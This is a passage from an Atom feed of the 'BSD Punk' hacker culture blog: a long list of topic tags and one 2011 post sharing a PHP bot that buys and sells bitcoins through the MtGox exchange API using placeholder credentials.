<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5421737826262689943</id><updated>2011-12-07T23:37:47.003-08:00</updated><category term='westinghouse'/><category term='flash'/><category term='illumination'/><category term='fork()'/><category term='news'/><category term='fat chick'/><category term='certifications'/><category term='community'/><category term='cheap'/><category term='torrents'/><category term='analytics'/><category term='kindle 2'/><category term='upgrade'/><category term='eeepc'/><category term='graffitti'/><category term='query'/><category term='irc.malvager.net'/><category term='wristpad'/><category term='applescript'/><category term='t-shirt'/><category term='hack this'/><category term='9unkz0r forums'/><category term='hacker cultur'/><category term='powershell'/><category term='animus'/><category term='celebrity'/><category term='hacker art'/><category term='8bit music'/><category term='4chan culture'/><category term='posting'/><category term='c++'/><category term='Hacking truths'/><category term='obituary'/><category term='facebook'/><category term='jack'/><category term='spaceageminds'/><category term='sha'/><category term='ayn rand'/><category term='java'/><category term='information gathering'/><category term='friendfeed'/><category term='cory doctorow'/><category term='hybrid'/><category term='brute force'/><category term='oppression'/><category term='hyper terminal'/><category term='traffic shaping'/><category term='pockets'/><category term='wireshark'/><category term='worried'/><category term='existing bank of knowledge'/><category term='128'/><category term='networking'/><category term='album'/><category term='c'/><category term='Xandros'/><category term='interview'/><category term='patent'/><category term='rommies'/><category term='goth'/><category term='delicious'/><category term='mac'/><category term='mac?'/><category term='posts'/><category term='mp3'/><category term='wpc'/><category term='pirate'/><category term='ari lesser'/><category term='Data collection'/><category term='ubuntu'/><category term='female hackers'/><category term='drive letter'/><category term='exif'/><category term='multicast'/><category term='fun time good hour'/><category term='I decline'/><category term='php5'/><category term='dj fuckhead'/><category term='geotagged'/><category term='mail'/><category term='SPIKE'/><category term='debt collection'/><category term='list'/><category term='Michigan'/><category term='punk'/><category term='slow loris'/><category term='weirdness'/><category term='search engine'/><category term='iso'/><category term='moment'/><category term='parsons klog'/><category term='objective c'/><category term='hacking'/><category term='computer hacker'/><category term='freecycle'/><category term='hacker forums'/><category term='9unkz0r irc'/><category term='creative commons'/><category term='ppm'/><category term='BSD'/><category term='zomg'/><category term='ircd'/><category term='post human blues'/><category term='network neutrality'/><category term='addons'/><category term='announcement'/><category term='mccain'/><category term='charity'/><category term='dumb'/><category term='systems'/><category term='fucking retarded'/><category term='hacker whiskey'/><category term='photoshoot'/><category term='shirt t-shirts'/><category term='raven interface'/><category term='new year'/><category term='skillset'/><category term='productivity'/><category term='code'/><category term='hip hop'/><category term='perverted'/><category term='ifconfig'/><category term='perl module'/><category term='hack'/><category term='kristopher tate'/><category term='new blog'/><category term='tote bag'/><category term='bot'/><category term='macbook pro'/><category term='photoshop'/><category term='cons'/><category term='woot'/><category term='mtgox'/><category term='oi'/><category term='pranks'/><category term='degree'/><category term='Open Source'/><category term='readership'/><category term='wikipedia'/><category term='begginer'/><category term='wolfrum alpha'/><category term='evil ware'/><category term='stanley'/><category term='r00tsniffer'/><category term='unix'/><category term='smashed fingers'/><category term='steampunk'/><category term='investment'/><category term='ron paul'/><category term='film'/><category term='webapp'/><category term='vc'/><category term='ayn rand not naked'/><category term='port scanning'/><category term='pictures'/><category term='commune'/><category term='Charles Manson'/><category term='block'/><category term='motion detecting'/><category term='installation'/><category term='badge hacking'/><category term='cry'/><category term='rsync'/><category term='stumbleupon'/><category term='drewish.com'/><category term='throttling'/><category term='donate'/><category term='christian'/><category term='goal'/><category term='the grid'/><category term='omniscient'/><category term='convention'/><category term='encryption'/><category term='web 2.0'/><category term='emo'/><category term='bitcoins'/><category term='sorry'/><category term='launch'/><category term='tv'/><category term='FAMP'/><category term='harddrive adapter'/><category term='dj'/><category term='a gentleman and a hacker'/><category term='broken'/><category term='pics'/><category term='cliff stoll'/><category term='xml'/><category term='hacker mindset'/><category term='centos'/><category term='noshville'/><category term='camera'/><category term='block ip'/><category term='os'/><category term='parson'/><category term='shirt'/><category term='terri cannon'/><category term='google.com'/><category term='roots'/><category term='wake up and drink'/><category term='nerdcore'/><category term='tcp stream'/><category term='writers'/><category term='hacker artists'/><category term='8bitweapon'/><category term='exec'/><category term='kanye'/><category term='isp'/><category term='Hart InterCivic'/><category term='android'/><category term='hacked'/><category term='extortion'/><category term='baby'/><category term='ids'/><category term='*nix'/><category term='conversation'/><category term='malvager'/><category term='hacker culture blog'/><category term='memcached'/><category term='regular expressions'/><category term='bot net'/><category term='cat'/><category term='mta'/><category term='itunes'/><category term='vicspy'/><category term='t-shirts'/><category term='songfight'/><category term='erfworld'/><category term='yahoo'/><category term='poor'/><category term='wireless router'/><category term='resolv.conf'/><category term='mybrute.com'/><category term='comics'/><category term='NIN'/><category term='Debian-Women'/><category term='merlin mann'/><category term='web development'/><category term='skype'/><category term='packetheads'/><category term='crack'/><category term='negative comment'/><category term='curl'/><category term='crazy'/><category term='help'/><category term='gpl'/><category term='conferencing'/><category term='cmake'/><category term='BEAM'/><category term='ipod goggles'/><category term='metrics'/><category term='rule 34'/><category term='consulting'/><category term='lost data'/><category term='monitor'/><category term='wrap'/><category term='script'/><category term='pcn09'/><category term='terdface'/><category term='windows'/><category term='bowling green'/><category term='honeypot'/><category term='cmd'/><category term='file'/><category term='revver'/><category term='arduino'/><category term='panther'/><category term='non-profit'/><category term='techno'/><category term='old'/><category term='klogger'/><category term='cain'/><category term='patterns'/><category term='alt tag'/><category term='pad'/><category term='mining'/><category term='tattoo'/><category term='fopen'/><category term='videos'/><category term='party'/><category term='internal'/><category term='website'/><category term='hacker soul'/><category term='samsung'/><category term='LuN4TiK'/><category term='publicity'/><category term='shells'/><category term='external ip'/><category term='bluetooth'/><category term='voyeurism'/><category term='code monkey dance'/><category term='add-ons'/><category term='switching'/><category term='beef jerky'/><category term='communicate'/><category term='we are the strange'/><category term='play'/><category term='part 1'/><category term='dreamhost'/><category term='fight me'/><category term='elect'/><category term='eeebsd'/><category term='comedy show'/><category term='iptables'/><category term='phpbb3'/><category term='processing'/><category term='icecast2'/><category term='engineer'/><category term='irc.malvager.com'/><category term='martha stewart'/><category term='network apps'/><category term='material'/><category term='books'/><category term='hex'/><category term='blackhat'/><category term='death'/><category term='perverted fun'/><category term='apt-get'/><category term='http://blog.kurthbemis.com/'/><category term='humiliated'/><category term='routers'/><category term='corporate'/><category term='chrome'/><category term='child process'/><category term='pat'/><category term='cracking'/><category term='xkcd'/><category term='printer'/><category term='rails'/><category term='voltage'/><category term='community building'/><category term='notepad'/><category term='reliability'/><category term='alice'/><category term='cheesey music'/><category term='g4'/><category term='cafepress'/><category term='ironmymoney'/><category term='electric skateboard'/><category term='open source beats'/><category term='epidemiC'/><category term='voting'/><category term='John Carmack'/><category term='reading'/><category term='keylogging'/><category term='Nao'/><category term='lego'/><category term='dvi'/><category term='ohshitson'/><category term='wereboobs'/><category term='example'/><category term='putty'/><category term='piclens'/><category term='myspace im'/><category term='hate'/><category term='trojan'/><category term='web 1.0'/><category term='perlbar'/><category term='wordpress'/><category term='hackthis.co.uk'/><category term='creative'/><category term='ui'/><category term='thinkpad'/><category term='cheap housing'/><category term='phone numbers'/><category term='dns'/><category term='refrigerator'/><category term='hipster please'/><category term='pain'/><category term='about me'/><category term='craphound'/><category term='marketing'/><category term='webcomics'/><category term='network'/><category term='sick'/><category term='kon.txt'/><category term='project'/><category term='content'/><category term='error'/><category term='WAMP'/><category term='ink'/><category term='lego nxt'/><category term='moving'/><category term='support'/><category term='yes'/><category term='zooomr.com'/><category term='perl'/><category term='HackForums'/><category term='artsy'/><category term='hyperterminal'/><category term='ports'/><category term='fighting cock'/><category term='YMSG'/><category term='miners'/><category term='thebusisalifetime'/><category term='LAN'/><category term='GUI'/><category term='simplerss'/><category term='Webdesign'/><category term='free books'/><category term='autmatically'/><category term='nxt'/><category term='political'/><category term='circuit design'/><category term='1010lt'/><category term='credit card'/><category term='lincenscing'/><category term='mybrute'/><category term='cyber punk'/><category term='finger'/><category term='Awesomeness'/><category term='heat'/><category term='ssdp'/><category term='geohot'/><category term='QOS'/><category term='ftp client'/><category term='channel'/><category term='election'/><category term='photography'/><category term='cpan'/><category term='arp table'/><category term='altigen'/><category term='css nightmare'/><category term='social images'/><category term='layer2'/><category term='t mobile'/><category term='Hugeurl.com'/><category term='room mates'/><category term='post'/><category term='loading'/><category term='copyfight'/><category term='minilight'/><category term='copyright'/><category term='Pen Testing'/><category term='voyeur'/><category term='8 bit'/><category term='infrastructure'/><category term='hacker security'/><category term='photoshoot remix'/><category term='equipment'/><category term='sucks'/><category term='kernel'/><category term='dpl'/><category term='listen'/><category term='grab.by'/><category term='pygame'/><category term='career'/><category term='mod'/><category term='att'/><category term='venue'/><category term='printers'/><category term='ftp'/><category term='purile'/><category term='industrial'/><category term='install'/><category term='hacker crib'/><category term='licensce'/><category term='pc'/><category term='fork. fork()'/><category term='boss'/><category term='subculture'/><category term='activestate'/><category term='ky'/><category term='total world domination'/><category term='gringo challenge'/><category term='projects'/><category term='crib'/><category term='lane'/><category term='patches'/><category term='punchboards'/><category term='firefox'/><category term='cisco'/><category term='iphone'/><category term='aim'/><category term='grep'/><category term='diebold'/><category term='bsdpunk'/><category term='link'/><category term='bracelet'/><category term='delta 1010lt'/><category term='goblinmajick'/><category term='therabbithole'/><category term='heath ledger'/><category term='blogs'/><category term='decompiling'/><category term='contest'/><category term='certificates'/><category term='wrapper'/><category term='giant robot'/><category term='outages'/><category term='technical'/><category term='social experiment'/><category term='yo bsdpunk'/><category term='vmware'/><category term='security'/><category term='voting machines'/><category term='bb'/><category term='robots'/><category term='shoutcast'/><category term='school'/><category term='banned'/><category term='icecast'/><category term='chan culture'/><category term='adware'/><category term='hacker'/><category term='hacker culture'/><category term='mc lars'/><category term='hard drives'/><category term='movie'/><category term='vimeo'/><category term='chromeos'/><category term='tutorials'/><category term='overwork'/><category term='sign'/><category term='bamboo'/><category term='mindstorm'/><category term='things to do other than remix'/><category term='sonicwall'/><category term='sl'/><category term='bloodtrocuted.com'/><category term='tshirt money'/><category term='foxyproxy'/><category term='evil hacker'/><category term='royalty'/><category term='malvager forum'/><category term='corruption'/><category term='examples'/><category term='jackd'/><category term='127.0.0.1'/><category term='hugurl.com'/><category term='monkeys'/><category term='web properties'/><category term='HUGE DEAL'/><category term='apple'/><category term='forums'/><category term='rpmforge'/><category term='PhreakNic'/><category term='easy'/><category term='gnome'/><category term='slim jim'/><category term='0100101110101101.org'/><category term='ip law'/><category term='ATMEGA'/><category term='chat'/><category term='social empowerment'/><category term='tween bots'/><category term='spawn process'/><category term='gamer device'/><category term='sigh'/><category term='webdude'/><category term='fftw'/><category term='stalk'/><category term='dj schedule'/><category term='declaration of independence of cyberspace'/><category term='research'/><category term='9unkz0r.com'/><category term='make your own beat'/><category term='cygwin'/><category term='functionality?'/><category term='politics'/><category term='programming'/><category term='robotics platforms'/><category term='ferris bueller'/><category term='trh'/><category term='mount'/><category term='attacks'/><category term='network slowness'/><category term='simple'/><category term='weekend'/><category term='hacker mentality'/><category term='nix'/><category term='learn'/><category term='rilo kiley'/><category term='microchipkids'/><category term='new service'/><category term='mac picks'/><category term='get things done'/><category term='lame hack'/><category term='tapi'/><category term='biennale.py'/><category term='inside baseball'/><category term='anonymity'/><category term='interview from hell'/><category term='contact microphone'/><category term='hard drive'/><category term='loading ready play'/><category term='languages'/><category term='quagga'/><category term='christy'/><category term='house'/><category term='amd'/><category term='kanye west'/><category term='switches'/><category term='fiction'/><category term='data'/><category term='i hack stuff'/><category term='hoodie'/><category term='trashing'/><category term='arm'/><category term='cyberspace independence'/><category term='cli'/><category term='contact mic'/><category term='rick lively'/><category term='intarwebs'/><category term='av'/><category term='DIY'/><category term='algoscore'/><category term='skiddie'/><category term='wearable computer'/><category term='rc.conf'/><category term='new'/><category term='pf'/><category term='lego::nxt'/><category term='privacy'/><category term='QC'/><category term='bestshoweva'/><category term='liquor'/><category term='int80'/><category term='internal hard drive'/><category term='dark crystal'/><category term='eff'/><category term='scams'/><category term='klein bottles'/><category term='girls'/><category term='thoughts'/><category term='license'/><category term='email'/><category term='dns analogy'/><category term='write'/><category term='OGDI'/><category term='myspace'/><category term='xhtml'/><category term='9unkz0r'/><category term='dcs'/><category term='rant'/><category term='Freebsd AMP'/><category term='ardamax'/><category term='earning'/><category term='romance'/><category term='scripting'/><category term='beerbotprime'/><category term='nsa'/><category term='ad free'/><category term='johnny'/><category term='MSN'/><category term='boingboing'/><category term='mc frontalot'/><category term='fedora 11'/><category term='peanut butter'/><category term='reschedule'/><category term='software companies'/><category term='serialport'/><category term='NAT'/><category term='microcontroller'/><category term='cfg'/><category term='phenoelit'/><category term='bad news'/><category term='bandwidth'/><category term='flickr'/><category term='beastie'/><category term='dhcp'/><category term='statistics'/><category term='blogging'/><category term='json'/><category term='google'/><category term='ruby'/><category term='mindfuck'/><category term='tcpdump'/><category term='smtp'/><category term='podcast'/><category term='net'/><category term='botting'/><category term='fuckin fiction'/><category term='ssh pipe'/><category term='mark tilden'/><category term='multimeter'/><category term='truecrypt'/><category term='quote'/><category term='usa'/><category term='pidgin'/><category term='pessimestic'/><category term='mountain dew'/><category term='documentary'/><category term='electric six'/><category term='trolling'/><category term='template'/><category term='demo'/><category term='tor'/><category term='OS X'/><category term='grid'/><category term='Nada Surf'/><category term='maudio'/><category term='portsnap'/><category term='plausible deniability'/><category term='error message'/><category term='contact'/><category term='cluge'/><category term='sproutcore'/><category term='kristy'/><category term='filezilla'/><category term='current'/><category term='paper'/><category term='pcn09. nashville'/><category term='p2p'/><category term='electroclash'/><category term='wallpaper'/><category term='beefy'/><category term='new post'/><category term='comcast'/><category term='tinytox'/><category term='parse'/><category term='itunes 8.2'/><category term='george carlin'/><category term='HID'/><category term='pork'/><category term='questionable content'/><category term='hardware hacking'/><category term='music'/><category term='ssh'/><category term='beej'/><category term='nn'/><category term='ddos'/><category term='land swims'/><category term='minimilist'/><category term='Net::DHCP::Watch'/><category term='robot culture'/><category term='regex'/><category term='teh awesome'/><category term='oprah'/><category term='hacker convention'/><category term='phishing'/><category term='sys admin'/><category term='awful'/><category term='flood'/><category term='twitter'/><category term='portland'/><category term='nexus one'/><category term='virus'/><category term='little brother'/><category term='shmoocon'/><category term='routing'/><category term='robin hobb'/><category term='jacques'/><category term='writing'/><category term='eeeXubuntu'/><category term='foursquare'/><category term='comment whoring'/><category term='goblin magic'/><category term='network diagram'/><category term='http://shuncolle.nifty.com/'/><category term='php bot'/><category term='dustylane'/><category term='web'/><category term='hackforums.net'/><category term='dualcore'/><category term='social change'/><category term='hamsters'/><category term='genre'/><category term='new install'/><category term='art'/><category term='intarweb party'/><category term='starwars sex noises'/><category term='public information'/><category term='pipe'/><category term='nerd'/><category term='bot culture'/><category term='goblinmagic'/><category term='troubleshooting'/><category term='blunders'/><category term='css'/><category term='muzak'/><category term='ati'/><category term='fantasy'/><category term='hiding'/><category term='review'/><category term='sniffing'/><category term='hammer of god'/><category term='female'/><category term='mysql'/><category term='do your job'/><category term='dresden codak'/><category term='juvenile'/><category term='bork'/><category term='language'/><category term='Assassins apprentice'/><category term='move'/><category term='gaming'/><category term='bullying'/><category term='nxt brick'/><category term='4 chan'/><category term='dustylane.net'/><category term='$newb'/><category term='codeeleven'/><category term='speech'/><category term='ssl'/><category term='punks'/><category term='jeph'/><category term='Free'/><category term='web sites'/><category term='DIY Culture'/><category term='winamp'/><category term='ubuntune'/><category term='no tech hacking'/><category term='make magazine'/><category term='code monkey'/><category term='server load'/><category term='satchel'/><category term='panera'/><category term='javascript'/><category term='intruder'/><category term='microkorg'/><category term='arp'/><category term='bitcoin'/><category term='hurt'/><category term='zooomr'/><category term='ankle'/><category term='IT'/><category term='podcamp'/><category term='social'/><category term='the singularity summit'/><category term='youtube'/><category term='ruby-nxt'/><category term='photos'/><category term='tutorial?'/><category term='performace art'/><category term='rpm'/><category term='4chan'/><category term='console'/><category term='duemilanove'/><category term='Windows xp'/><category term='sex'/><category term='yahoo user interface'/><category term='social networking'/><category term='commons'/><category term='merlin'/><category term='remote access'/><category term='public transportation'/><category term='browser'/><category term='0x000000'/><category term='underground'/><category term='scene girls'/><category term='happiness'/><category term='vbscript'/><category term='count'/><category term='shakespear'/><category term='creative code'/><category term='rfid'/><category term='crash'/><category term='goggles'/><category term='magnetic strip'/><category term='328'/><category term='tool'/><category term='php'/><category term='scared'/><category term='nmap'/><category term='culture'/><category term='unix hacker'/><category term='drobo'/><category term='nerd culture'/><category term='YUI'/><category term='trip'/><category term='MIT'/><category term='arp sniffer'/><category term='xchat'/><category term='photographer'/><category term='rollins'/><category term='static route'/><category term='route add'/><category term='blogger'/><category term='supercollider'/><category term='dan kaminsky'/><category term='appengine'/><category term='hacks'/><category term='open government data initiative'/><category term='search'/><category term='bag'/><category term='blogger choice award'/><category term='japan'/><category term='microphone'/><category term='command line'/><category term='traffic'/><category term='eric raymond'/><category term='foriegn'/><category term='west'/><category term='underpaid'/><category term='live'/><category term='ai'/><category term='tinyurl.com'/><category term='surfing'/><category term='movies'/><category term='photo shoot'/><category term='hashes'/><category term='vm'/><category term='malware'/><category term='hash'/><category term='robot'/><category term='last.fm'/><category term='hosting'/><category term='stalking'/><category term='updates'/><category term='gistry'/><category term='api'/><category term='John Maeda'/><category term='horror'/><category term='lunix'/><category term='awesome content'/><category term='array'/><category term='rooted'/><category term='redhat'/><category term='image::exiftool'/><category term='noobs'/><category term='scott bourne'/><category term='fornicate()'/><category term='i prize'/><category term='gem'/><category term='rss'/><category term='video'/><category term='perlapp'/><category term='media rs'/><category term='mann'/><category term='KFLAY'/><category term='pbr'/><category term='bus'/><category term='grandma'/><category term='work'/><category term='smf'/><category term='mix tape'/><category term='alternative'/><category term='tab'/><category term='seobook'/><category term='objectivism'/><category term='hacktakular'/><category term='crush'/><category term='injury'/><category term='single and famous'/><category term='medication'/><category term='philosophy'/><category term='underground radio'/><category term='colbert'/><category term='japon'/><category term='8bitklubben.dk'/><category term='super mario bros'/><category term='obama'/><category term='I-PRIZE'/><category term='default gateway'/><category term='tar balls'/><category term='mixer'/><category term='metal'/><category term='small script'/><category term='nashville'/><category term='anniversary'/><category term='juniper'/><category term='nxt mindstorm'/><category term='packets'/><category term='squidoo'/><category term='intarweb'/><category term='lego culture'/><category term='ipod touch'/><category term='isuckatart'/><category term='throttle'/><category term='robosapiens'/><category term='anti-virus'/><category term='tour'/><category term='eink'/><category term='tsgrind'/><category term='lesson 2'/><category term='pimp your pad'/><category term='tpb'/><category term='lego mindstorm'/><category term='old posts'/><category term='crackhead'/><category term='event'/><category term='gadget'/><category term='protocols'/><category term='scratch'/><category term='mmc'/><category term='macbluecomm'/><category term='tshirt'/><category term='photshoot'/><category term='oprahfail'/><category term='kindle dx'/><category term='badges'/><category term='inexpensive'/><category term='n00bs'/><category term='fireside chat'/><category term='ABSPATH'/><category term='pcap'/><category term='law and order'/><category term='user interface'/><category term='spyware'/><category term='gimp'/><category term='irc'/><category term='livecd'/><category term='default password list'/><category term='firewall'/><category term='footer'/><category term='mc goblinmajick'/><category term='artificial intelligence'/><category term='branding'/><category term='IM'/><category term='comments'/><category term='hardware'/><category term='8bit'/><category term='ardour'/><category term='router'/><category term='theory'/><category term='spying'/><category term='sweetspot'/><category term='radio'/><category term='vvvv'/><category term='english'/><category term='photo set'/><category term='header'/><category term='smartftp'/><category term='sftp'/><category term='remote'/><category term='novell'/><category term='music?'/><category term='Server'/><category term='mac os x'/><category term='heavy metal'/><category term='modules'/><category term='subnets'/><category term='network dos'/><category term='bookmarks'/><category term='Nepal'/><category term='systems exploitation'/><category term='hackers'/><category term='botnet'/><category term='ie'/><category term='essay'/><category term='massive awesoming'/><category term='MSNMS'/><category term='wireless'/><category term='sniffer'/><category term='ip addresses'/><category term='credentials'/><category term='lamp'/><category term='8bitklubben'/><category term='popularity'/><category term='tote'/><category term='questions'/><category term='show'/><category term='tubes'/><category term='meetup'/><category term='video conferencing'/><category term='shameful self promotion'/><category term='blu ray'/><category term='cable'/><category term='loopback'/><category term='light'/><category term='cyberpunk'/><category term='ads'/><category term='cbhacker'/><category term='upcoming'/><category term='knife'/><category term='pf.conf'/><category term='word'/><category term='pusa'/><category term='aa'/><category term='intrestingness'/><category term='geek pad'/><category term='ready'/><category term='second life'/><category term='awesome hack'/><category term='THE FUTURE'/><category term='dsniff'/><category term='stupid debian tricks'/><category term='backpack'/><category term='arch linux'/><category term='metric'/><category term='22nd'/><category term='mobius strip'/><category term='mac ssh'/><category term='freeze'/><category term='future'/><category term='paradigm'/><category term='cygdrive'/><category term='business'/><category term='irc channel'/><category term='advice'/><category term='aesthetics'/><category term='svu'/><category term='fight club'/><category term='macros'/><category term='vmware fusion'/><category term='gregory d evans'/><category term='FreeBSD'/><category term='Who is Ron Paul'/><category term='activeperl'/><category term='geek'/><category term='hacker blog'/><category term='cloud'/><category term='bash'/><category term='lullzy'/><category term='batch'/><category term='creepy'/><category term='yaml'/><category term='pots'/><category term='Reboot'/><category term='system()'/><category term='libevent'/><category term='alan rickman'/><category term='dusty'/><category term='geolocation'/><category term='eeepc mod'/><category term='haxor.much'/><category term='html'/><category term='coding'/><category term='john prine'/><category term='singularity'/><category term='errata'/><category term='suckballs'/><category term='remix'/><category term='monetize'/><category term='grpahics'/><category term='defcon'/><category term='irrsi'/><category term='vista'/><category term='packet monkies'/><category term='setup'/><category term='url'/><category term='piggy back'/><category term='proxy'/><category term='e ink'/><category term='#devel'/><category term='burroughs'/><category term='tablet'/><category term='passwords'/><category term='passive'/><category term='fedora'/><category term='internal ip'/><category term='wacom'/><category term='strobe'/><category term='internet explorer 6'/><category term='Ray Kurzweil'/><category term='use Mysql'/><category term='dbi'/><category term='tables'/><category term='processes'/><category term='bunker'/><category term='ssh port forwarding'/><category term='steampunk magazine'/><category term='mistaks'/><category term='intrusion'/><category term='flooded'/><category term='python'/><category term='the pirate bay'/><category term='debian'/><category term='bat'/><category term='heath ledeger'/><category term='dos'/><category term='stupid nix trix'/><category term='internet explorer 7'/><category term='net::arp'/><category term='windows server 2000'/><category term='corrections'/><category term='fwrite'/><category term='terrabyte'/><category term='bots'/><category term='linux'/><category term='apache'/><category term='growl'/><category term='rendering'/><category term='exploited'/><category term='women'/><category term='beep'/><category term='ytcracker'/><category term='birthday'/><category term='Net neutrality'/><category term='foodies'/><category term='ajax'/><category term='hack pack'/><category term='submissions'/><category term='meebo'/><category term='tutorial'/><category term='underground culture'/><category term='voip'/><category term='blog'/><category term='algos'/><category term='80000048'/><category term='gentleman&apos;s malware license'/><category term='xrl.us'/><category term='the onion'/><category term='SEO'/><category term='ddosed'/><category term='food'/><category term='9unkz0r.com/forums'/><category term='shout out'/><category term='microsoft'/><category term='retard'/><category term='walruspeoplecrew'/><category term='nerd rap'/><category term='atlas shrugged'/><category term='fail'/><category term='dark crystal rap'/><category term='solar'/><title type='text'>BSD Punk</title><subtitle type='html'>BSD Punk hacker culture blog.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default?start-index=101&amp;max-results=100'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>405</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3991053622500730699</id><published>2011-07-31T13:13:00.000-07:00</published><updated>2011-07-31T13:26:32.344-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php bot'/><category scheme='http://www.blogger.com/atom/ns#' term='api'/><category scheme='http://www.blogger.com/atom/ns#' term='bitcoin'/><category scheme='http://www.blogger.com/atom/ns#' term='mtgox'/><title type='text'>Modified PHP bot for trading bitcoins on mtgox</title><content type='html'>General information about bitcoins (mtgox, mining, etc) here: &lt;a href="http://bsdpunk.blogspot.com/2011/07/bitcoins-bitcoins-bitcoins.html"&gt;http://bsdpunk.blogspot.com/2011/07/bitcoins-bitcoins-bitcoins.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I've been messing around with bitcoin, and I found a bot at :&lt;br /&gt;&lt;a href="http://bitklein.com/bot.php"&gt;http://bitklein.com/bot.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;What I did was minimize the bot, and change it so it buys bit coins if they are less than 15 dollars, and I have over 60 bucks in my MtGox account.&lt;br /&gt;If the bitcoins become worth over 24 dollars, sell all of them. I also have the mtgox bitcoin app on my phone in case I need to dump them.&lt;br /&gt;&lt;br /&gt;&lt;pre class="prettyprint"&gt;function mtgox_query($path, array $req = array()) { &lt;br /&gt;   $key='yourkey';      //&lt;----KEY! &lt;br /&gt;   $secret='yoursecret';   //&lt;-SECRET! &lt;br /&gt;    &lt;br /&gt;                   $mt = explode(' ', microtime()); &lt;br /&gt;                   $req['nonce'] = $mt[1].substr($mt[0], 2, 6); &lt;br /&gt;                   $post_data = http_build_query($req, '', '&amp;'); &lt;br /&gt;                   $headers = array( &lt;br /&gt;                          'Rest-Key: '.$key, &lt;br /&gt;                          'Rest-Sign: '.base64_encode(hash_hmac('sha512', $post_data, base64_decode($secret), true)), &lt;br /&gt;                  ); &lt;br /&gt;                  static $ch = null; &lt;br /&gt;                  if (is_null($ch)) { &lt;br /&gt;                          $ch = curl_init(); &lt;br /&gt;                          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); &lt;br /&gt;                         curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MtGox PHP client; '.php_uname('s').'; PHP/'.phpversion().')'); &lt;br /&gt;                  } &lt;br /&gt;                  curl_setopt($ch, CURLOPT_URL, 'https://mtgox.com/api/'.$path); &lt;br /&gt;                  curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); &lt;br /&gt;                  curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); &lt;br /&gt;                  $res = curl_exec($ch); &lt;br /&gt;                  if ($res === false) throw new Exception('Could not get reply: '.curl_error($ch)); &lt;br /&gt;                  $dec = json_decode($res, true); &lt;br /&gt;                  if (!$dec) throw new Exception('Invalid data received, please ma &lt;br /&gt;  ke sure connection is working and requested API exists'); &lt;br /&gt;          return $dec; &lt;br /&gt;          } &lt;br /&gt;  $decoded=mtgox_query('0/getOrders.php?since=0'); &lt;br /&gt;  var_dump($decoded); &lt;br /&gt;  //print_r($decoded); &lt;br /&gt; $seconds_wait = 40; &lt;br /&gt;  $truth =  TRUE; &lt;br /&gt;  while($truth){ &lt;br /&gt;          sleep($seconds_wait); &lt;br /&gt;          echo "----------------------------------------\n"; &lt;br /&gt;          $r=mtgox_query('0/getFunds.php'); &lt;br /&gt;          echo "USD TOTAL: ".$r['usds']."\n"; &lt;br /&gt;          echo "BTC TOTAL: ".$r['btcs']."\n\n"; &lt;br /&gt;          $decoded=mtgox_query('0/data/ticker.php'); &lt;br /&gt;  //      echo date('l jS \of F Y h:i:s A')."\n"; &lt;br /&gt;          echo "LAST:".$cur_last=$decoded['ticker']['last']."\n"; &lt;br /&gt;          echo "BUY:".$cur_buy=$decoded['ticker']['buy']."\n"; &lt;br /&gt;          echo "SELL:".$cur_sell=$decoded['ticker']['sell']."\n"; &lt;br /&gt;          echo "HIGH:".$cur_high=$decoded['ticker']['high']."\n"; &lt;br /&gt;          echo "AVERAGE:".$cur_avg=$decoded['ticker']['avg']."\n"; &lt;br /&gt;          echo "VWAP:".$cur_vwap=$decoded['ticker']['vwap']."\n\n"; &lt;br /&gt;   &lt;br /&gt;  if(($r['usds'] &gt; 60) &amp;&amp; ($cur_buy &lt; 15) ){ &lt;br /&gt;                  $amount= ($r['usds'] / $cur_buy); &lt;br /&gt;                  $amount = number_format($amount, 2, '.', ''); &lt;br /&gt;                  $price=$cur_buy; &lt;br /&gt;                  echo " PRICE: $price AMOUNT: $amount"; &lt;br /&gt;                  echo "Buying Bit coins to cancel transaction hit Ctrl C\n"; &lt;br /&gt;                  sleep(30); &lt;br /&gt;                  $req=array('amount'=&gt;$amount,'price'=&gt;$price); &lt;br /&gt;                  $decoded=mtgox_query('0/buyBTC.php',$req); &lt;br /&gt;                  echo "STATUS: ".$decoded['status']."\n"; &lt;br /&gt;  }                                &lt;br /&gt;          if($cur_sell &gt; 24 ){ &lt;br /&gt;                  echo "Selling Bitcoins\n"; &lt;br /&gt;                  $price = $cur_sell; &lt;br /&gt;                  $amount = $r['btcs']; &lt;br /&gt;                  $req=array('amount'=&gt;$amount,'price'=&gt;$price); &lt;br /&gt;                  $decoded=mtgox_query('0/sellBTC.php',$req); &lt;br /&gt;                  echo "STATUS: ".$decoded['status']."\n"; &lt;br /&gt;                  $truth = FALSE; &lt;br /&gt;          } &lt;br /&gt;  } &lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can get information about mtgox's api here, and about the bot: &lt;a 